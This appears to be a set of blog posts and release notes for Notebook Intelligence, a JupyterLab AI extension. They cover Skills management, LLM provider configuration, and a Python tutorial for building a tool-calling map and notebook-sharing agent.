Settings now exposes a Skills tab for managing the bundles Claude can invoke (the SKILL.md frontmatter, helper files, and allowed tools). Skills resolve from the same two locations the Claude CLI reads:

• ~/.claude/skills/ — user scope.
• <project>/.claude/skills/ — project scope.

You can author Skills inline, duplicate and rename them, and delete with undo. The Import from GitHub dialog accepts a github.com/owner/repo/tree/<ref>/<path> URL pointing at a Skill bundle and installs it via the public tarball API.

For organization deployments, NBI can install and maintain a curated set from a YAML manifest:

skills:
  - url: https://github.com/your-org/data-skills/tree/main/skills/eda
    scope: user
  - url: https://github.com/your-org/data-skills/tree/main/skills/ml-recipes
    scope: user

Point NBI_SKILLS_MANIFEST at the manifest’s URL or filesystem path. NBI’s reconciler installs every Skill at startup and re-syncs every 24h (NBI_SKILLS_MANIFEST_INTERVAL overrides). Managed Skills are read-only in the UI — users can’t edit, rename, or delete them, and the reconciler restores any that disappear from disk.

Full reference: docs/skills.md.

Restructured documentation

The README has been rewritten with a table of contents and a concept glossary. Reference content moved out of the README and into focused docs:

• SECURITY.md — private disclosure, threat model, supply-chain posture.
• PRIVACY.md — what NBI sends where.
• docs/admin-guide.md — every NBI_* env var and policy.
• docs/rulesets.md — markdown-based prompt injection.
• docs/skills.md — Skills authoring, importing, and the manifest reconciler.
• docs/troubleshooting.md — common issues with copy-pasteable fixes.

If you’ve been linking deep into the README from internal wikis, the new home for each section is documented in the migration table at the top of the README.

Windows Claude mode reliability

A cluster of fixes for Claude mode on Windows:

• The Claude agent thread now uses the Proactor event loop on Windows, which fixes subprocess spawn failures and intermittent “Claude agent not connected” races at startup.
• The Claude SDK retry path reconnects when the worker thread has died instead of waiting out the full response timeout.
• Anthropic credentials are normalized (whitespace + scheme handling) before being passed to the SDK, so a stray newline in a .env file no longer breaks auth.

Security hardening

Skill imports from GitHub reject tarball entries containing absolute paths or ../ traversal — a malicious or buggy bundle can no longer write outside its install directory.

Other fixes

• _send_claude_agent_request guards against a disconnect race that left chat handlers waiting on a closed queue.
• WebSocket message handlers are disconnected when the originating request finishes; previously they accumulated for the lifetime of the WebSocket.
• configChanged handlers are disconnected when components unmount, fixing a slow leak when the chat sidebar was opened and closed repeatedly.
• The Claude session picker scrolls correctly when the transcript count exceeds the visible area.

Install

pip install --upgrade notebook-intelligence

Then restart JupyterLab. Full changes in the CHANGELOG.

Notebook Intelligence now supports any LLM Provider and compatible model for chat and auto-complete. Chat model is used for Copilot Chat in the sidebar and inline chat popups that are accessible from notebook and file editors. Auto-complete model is used for providing completion suggestions as you type in a notebook or file editor (as ghost text). Your chat model and auto-complete model don’t have to be from the same provider for use with NBI.

GitHub Copilot is still the recommended and the default model provider. Now, you can choose which model to use from the options provided by GitHub Copilot service.

Notebook Intelligence Settings Dialog

You can configure the model provider and model options using the Notebook Intelligence Settings dialog. You can access this dialog from JupyterLab Settings menu -> Notebook Intelligence Settings, using /settings command in Copilot Chat or by using the command palette.

Your settings are stored as a file on the disk at location ~/.jupyter/nbi-config.json. Saved data includes your API keys for OpenAI and LiteLLM compatible providers you choose. Removing this file would reset the LLM provider to GitHub Copilot.

GitHub Copilot Model Options

GitHub Copilot provides multiple model options both for chat and auto-complete. You can now specify the models to use. The default chat model has been GPT-4o and auto-complete model copilot-codex. Chat model options available are: GPT-4o, o3-mini, Claude 3.5 Sonnet, Claude 3.7 Sonnet. Auto-complete model options are: copilot-codex and gpt-4o-copilot.

OpenAI Compatible Model Provider

If you have an OpenAI subscription or any other OpenAI compatible LLM provider such as OpenRouter then you can use the OpenAI Compatible provider option. Enter your API key, model ID (e.g. gpt-4o) and service base URL in the settings dialog. You can leave Base URL blank if you are using OpenAI as the service provider.

Not all models support auto-complete (insertion). If you have an OpenAI subscription, you can use the model gpt-3.5-turbo-instruct for auto-complete.

LiteLLM Compatible Model Provider

You can choose LiteLLM Compatible provider option for any provider that is not compatible with OpenAI APIs. LiteLLM supports a wide range of providers. Please check LiteLLM documentation for the list of providers and models. Enter your API key, model ID (e.g. anthropic/claude-3.5) and service base URL in the settings dialog for the provider and model you would like to use.

Use a model that supports auto-complete (insertion).

Anthropic

If you have an Anthropic subscription then you can use LiteLLM Compatible provider.

Use local models with Ollama

NBI supports Ollama as provider for local chat and auto-complete models. Any Ollama chat model can be used with NBI and they will be automatically listed in the settings dialog. For auto-complete, NBI supports a selected list of models which were tested to work well to support completions. Auto-complete models supported are: deepseek-coder-v2, qwen2.5-coder, codestral, starcoder2, codellama:7b-code. Make sure you have these models installed before trying to use with NBI.

Add your custom LLM Provider by creating an NBI Extension

If you work with LLM providers which don’t fit in the NBI supported provider types then you can build an extension to add support for those. You can introduce new LLM providers, chat models and auto-complete models using the NBI extension API. Refer to NBI OllamaLLMProvider class for an example.

class LLMProviderExtension(NotebookIntelligenceExtension):
    ...

    def activate(self, host: Host) -> None:
        self.llm_provider = CustomLLMProvider()
        host.register_llm_provider(self.llm_provider)
        log.info("Custom LLM Provider extension activated")

For building NBI extensions see Building AI Extensions for JupyterLab blog post.

Try it out and share your feedback!

Please try the LLM provider and model options and share your feedback using project’s GitHub issues! User feedback from the community will shape the project’s roadmap.

About the Author

Mehmet Bektas is a Senior Software Engineer at Netflix and a Jupyter Distinguished Contributor. He is the author of Notebook Intelligence, and contributes to JupyterLab, JupyterLab Desktop and several other projects in the Jupyter eco-system.

GitHub Copilot and other AI coding assistants are great at generating code and answering coding related questions. But they can do a lot more than generating text and code thanks to LLM features such as tool calling and AI agents. NBI provides an extensible AI framework to integrate tool calling and AI agents into JupyterLab Copilot Chat.

What is tool calling and an AI Agent?

Tool calling is a feature of LLMs. It lets you introduce your own functions to LLM so that they can be called in response to chat prompts. LLM can convert natural language prompts to function calls with arguments. Tool calls are executed on the client side (i.e. Jupyter server) by your extension and only the function schema is provided to the LLM. Tool calling lets LLM interact with real time data, proprietary or external apps and services.

AI Agents are collections of tools that can run tasks on behalf of the user. Given a natural language prompt, LLMs can reason, create an execution plan and call multiple tools in a chain. NBI provides a framework to build these type of AI Agent integrations and handles the orchestration between LLMs and your tools.

AI Agent Extension Example

Let’s build an AI Agent for JupyterLab using Notebook Intelligence extension APIs. (The full source code for this extension is available here.) This will be an AI agent for map creation and notebook sharing. It will have the following capabilities:

• Looking up geo-coordinates for an address
• Showing maps centered at an address in the Copilot Chat UI
• Creating notebooks that show maps centered at specified addresses
• Sharing notebooks publicly using notebooksharing.space

The tasks above will be run by the AI Agent in response to natural language prompts by the user.

For this extension we will build four tools that will be integrated into JupyterLab Copilot Chat, for each of the tasks above. Tools are defined as classes derived from NBI Tool abstract class. A tool needs to implement the methods and properties defined in this base class.

Tool class provides the metadata information for the tool and implements the pre_invoke and handle_tool_call methods. pre_invoke method is called right before handle_tool_call with the tool arguments and it gives an opportunity for the tool to prompt for confirmation of the tool execution.

schema property of the Tool is the function schema based on OpenAI’s function calling schema. It lets you describe your function and its parameters as an object. A Tool is expected to return an object as response from the handle_tool_call method call.

Geo Coordinates Lookup Tool

This tool looks up geo-coordinates for an address using Nominatim library. pre_invoke method for this tool only shows a message in Chat UI before looking up for the geo-coordinates in handle_tool_call method.

class GeoCoordinateLookupTool(Tool):
    @property
    def name(self) -> str:
        return "geo_coordinate_lookup"

    @property
    def title(self) -> str:
        return "Get geo-coordinates from an address"
    
    @property
    def description(self) -> str:
        return "This is a tool that converts an address to a geo-coordinates"
    
    @property
    def schema(self) -> dict:
        return {
            "type": "function",
            "function": {
                "name": self.name,
                "description": self.description,
                "parameters": {
                    "type": "object",
                    "properties": {
                        "address": {
                            "type": "string",
                            "description": "Address to convert to geo-coordinates",
                        }
                    },
                    "required": ["address"],
                    "additionalProperties": False,
                },
            },
        }

    def pre_invoke(self, request: ChatRequest, tool_args: dict) -> Union[ToolPreInvokeResponse, None]:
        address = tool_args.get('address')
        return ToolPreInvokeResponse(
            message=f"Getting coordinates for '{address}'"
        )

    async def handle_tool_call(self, request: ChatRequest, response: ChatResponse, tool_context: dict, tool_args: dict) -> dict:
        address = tool_args.get('address')
        location = geolocator.geocode(address)
        return {"latitude": location.latitude, "longitude": location.longitude}

Map Response Generator Tool

This tool shows a map in Copilot Chat UI centered at geo-coordinates. In pre_invoke method this method only shows a notification message in Chat UI. In handle_tool_call method, this tool returns a HTMLFrame response that uses HTML to show a map centered at the requested location using Google Maps.

class MapResponseGeneratorTool(Tool):
    ...

    def pre_invoke(self, request: ChatRequest, tool_args: dict) -> Union[ToolPreInvokeResponse, None]:
        geo_coordinates = tool_args.get('geo_coordinates')
        latitude = geo_coordinates.get('latitude')
        longitude = geo_coordinates.get('longitude')
        return ToolPreInvokeResponse(
            message=f"Showing a map centered at latitude: {latitude} and longitude: {longitude}"
        )

    async def handle_tool_call(self, request: ChatRequest, response: ChatResponse, tool_context: dict, tool_args: dict) -> dict:
        geo_coordinates = tool_args.get('geo_coordinates')
        latitude = geo_coordinates.get('latitude')
        longitude = geo_coordinates.get('longitude')

        response.stream(HTMLFrameData(f"""<iframe width="100%" height="100%" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" id="gmap_canvas" src="https://maps.google.com/maps?width=400&amp;height=400&amp;hl=en&amp;q={latitude},{longitude}&amp;t=&amp;z=11&amp;ie=UTF8&amp;iwloc=B&amp;output=embed"></iframe>""", height=400))
        response.finish()

        return {"result": "I showed the map"}

Below is an example prompt showing map centered at “Golden Gate Bridge, San Francisco”. Note that an address was provided to Copilot as the input but Map Response Generator Tool accepts only geo-coordinates as input. This is where LLM automatically decided that it needs to first call the Geo Coordinates Lookup Tool to get geo-coordinates for this address and then it called the Map Response Generator Tool with the geo-coordinates. LLM automatically chained multiple tools and NBI handled this chaining to get the correct response for the user’s prompt.

Map Notebook Creator Tool

This tool creates a notebook centered at the specified geo-coordinates. In pre_invoke method this method only shows a notification message in Chat UI. In handle_tool_call method, the tool creates a notebook using nbformat library, saves it to disk and then opens the notebook in JupyterLab UI using the response.run_ui_command NBI method.

class MapNotebookCreatorTool(Tool):
    ...

    def pre_invoke(self, request: ChatRequest, tool_args: dict) -> Union[ToolPreInvokeResponse, None]:
        geo_coordinates = tool_args.get('geo_coordinates')
        latitude = geo_coordinates.get('latitude')
        longitude = geo_coordinates.get('longitude')
        return ToolPreInvokeResponse(
            message=f"Creating a map notebook for latitude: {latitude} and longitude: {longitude}"
        )

    async def handle_tool_call(self, request: ChatRequest, response: ChatResponse, tool_context: dict, tool_args: dict) -> dict:
        geo_coordinates = tool_args.get('geo_coordinates')
        latitude = geo_coordinates.get('latitude')
        longitude = geo_coordinates.get('longitude')

        now = dt.datetime.now()
        map_file_name = f"map_{now.strftime('%Y%m%d_%H%M%S')}.ipynb"

        nb = nbf.v4.new_notebook()
        header = """\
        ### This map notebook was created by an AI Agent using [Notebook Intelligence](https://github.com/notebook-intelligence)
        """

        install_code_cell = "%%capture\n%pip install folium"

        map_code_cell = f"""\
        import folium

        map = folium.Map(location=[{latitude}, {longitude}], zoom_start=13)
        map"""

        nb['cells'] = [
            nbf.v4.new_markdown_cell(header),
            nbf.v4.new_code_cell(install_code_cell),
            nbf.v4.new_code_cell(map_code_cell)
        ]
        nb.metadata["kernelspec"] = { "name": "python3"}
        nbf.write(nb, map_file_name)

        await response.run_ui_command("docmanager:open", {"path": map_file_name})

        return {"result": "I created and opened the map notebook"}

Notebook Share Tool

This tool shares a notebook publicly by uploading it to notebooksharing.space and displays the link to the shared notebook.

In the pre_invoke method implementation, this tool asks for confirmation first as this operation is an undoable share of the notebook publicly. Only after the user confirms, handle_tool_call is executed. In handle_tool_call method the tool uploads the notebook at the notebook_file_path using nbss_upload library and then shows the link to the shared notebook on notebooksharing.space.

class NotebookShareTool(Tool):
    ...
    
    def pre_invoke(self, request: ChatRequest, tool_args: dict) -> Union[ToolPreInvokeResponse, None]:
        file_path = tool_args.get('notebook_file_path')
        file_name = path.basename(file_path)
        return ToolPreInvokeResponse(
            message=f"Sharing notebook '{file_name}'",
            confirmationTitle="Confirm sharing",
            confirmationMessage=f"Are you sure you want to share the notebook at '{file_path}'? This will upload the notebook to public internet and cannot be undone."
        )

    async def handle_tool_call(self, request: ChatRequest, response: ChatResponse, tool_context: dict, tool_args: dict) -> dict:
        file_path = tool_args.get('notebook_file_path')
        file_name = path.basename(file_path)
        share_url = nbss_upload.upload_notebook(file_path, False, False, 'https://notebooksharing.space')
        response.stream(AnchorData(share_url, f"Click here to view the shared notebook '{file_name}'"))

        return {"result": f"Notebook '{file_name}' has been shared at: {share_url}"}

Tool call schema definitions

It is important to define schemas of the tools clearly and disambiguate the tools as much as possible so that the LLM can invoke the proper tool based on the user prompt. LLM parses the user prompt, decides which tools to call and generates the input parameters for the call.

If current file or selection is made visible by the user, NBI can provide the file paths and content as context to the LLM. That way LLM can use those as additional context for a tool call. That is how Notebook Share Tool was able to access the current notebook file.

Tool chaining

After parsing the user prompt, LLM creates an execution plan and can call multiple tools in a chain. NBI handles this tool chaining for you. It is important to define your schemas with the chaining in mind. Consider defining matching tool outputs and inputs so that the output of a tool can be passed onto another one directly if needed.

Notice that in this extension example MapResponseGeneratorTool and MapNotebookCreatorTool both take in geo_coordinates (latitude, longitude) as input and GeoCoordinateLookupTool outputs geo_coordinates. This lets LLM to directly pass the output of GeoCoordinateLookupTool to MapResponseGeneratorTool and MapNotebookCreatorTool. It also lets a user to use an address to trigger MapResponseGeneratorTool and MapNotebookCreatorTool, because LLM knows that there is another tool it can call to generate input (geo_coordinates) from address for these tools.

Chat Participant

In NBI AI framework, AI Agents are defined as chat participants and tools are tied to specific chat participants. For our extension we create AIAgentChatParticipant as our participant (for more details on NBI extensions and chat participants see this blog). Our chat participant returns list of tools it defines from the tools property.

In handle_chat_request method our chat participant passes the request to the base ChatParticipant class to handle tool calling for us.

class AIAgentChatParticipant(ChatParticipant):
    @property
    def id(self) -> str:
        return "ai-agent"
    ...
    
    @property
    def tools(self) -> list[Tool]:
        return [GeoCoordinateLookupTool(), MapResponseGeneratorTool(), MapNotebookCreatorTool(), NotebookShareTool()]

    async def handle_chat_request(self, request: ChatRequest, response: ChatResponse, options: dict = {}) -> None:
        ...
        await self.handle_chat_request_with_tools(request, response, options)

NBI Extension

Finally we create our NBI extension class AIAgentExtension. This class basically registers our chat participant to NBI on extension activation.

class AIAgentExtension(NotebookIntelligenceExtension):
    ...

    def activate(self, host: Host) -> None:
        self.participant = AIAgentChatParticipant(host)
        host.register_chat_participant(self.participant)
        log.info("AI Agent example extension activated")

That is all there is to create an AI Agent for JupyterLab using Notebook Intelligence. The full source code for this example is available along with installation instructions for you to use as a reference and/or build on top.

Try it out and share your feedback!

I am looking forward to seeing the AI Agents built by the community. Please try the extension APIs and share your feedback using project’s GitHub issues! User feedback from the community will shape the project’s roadmap.

About the Author

Mehmet Bektas is a Senior Software Engineer at Netflix and a Jupyter Distinguished Contributor. He is the author of Notebook Intelligence, and contributes to JupyterLab, JupyterLab Desktop and several other projects in the Jupyter eco-system.

The source code for the example extension in this post is available on GitHub.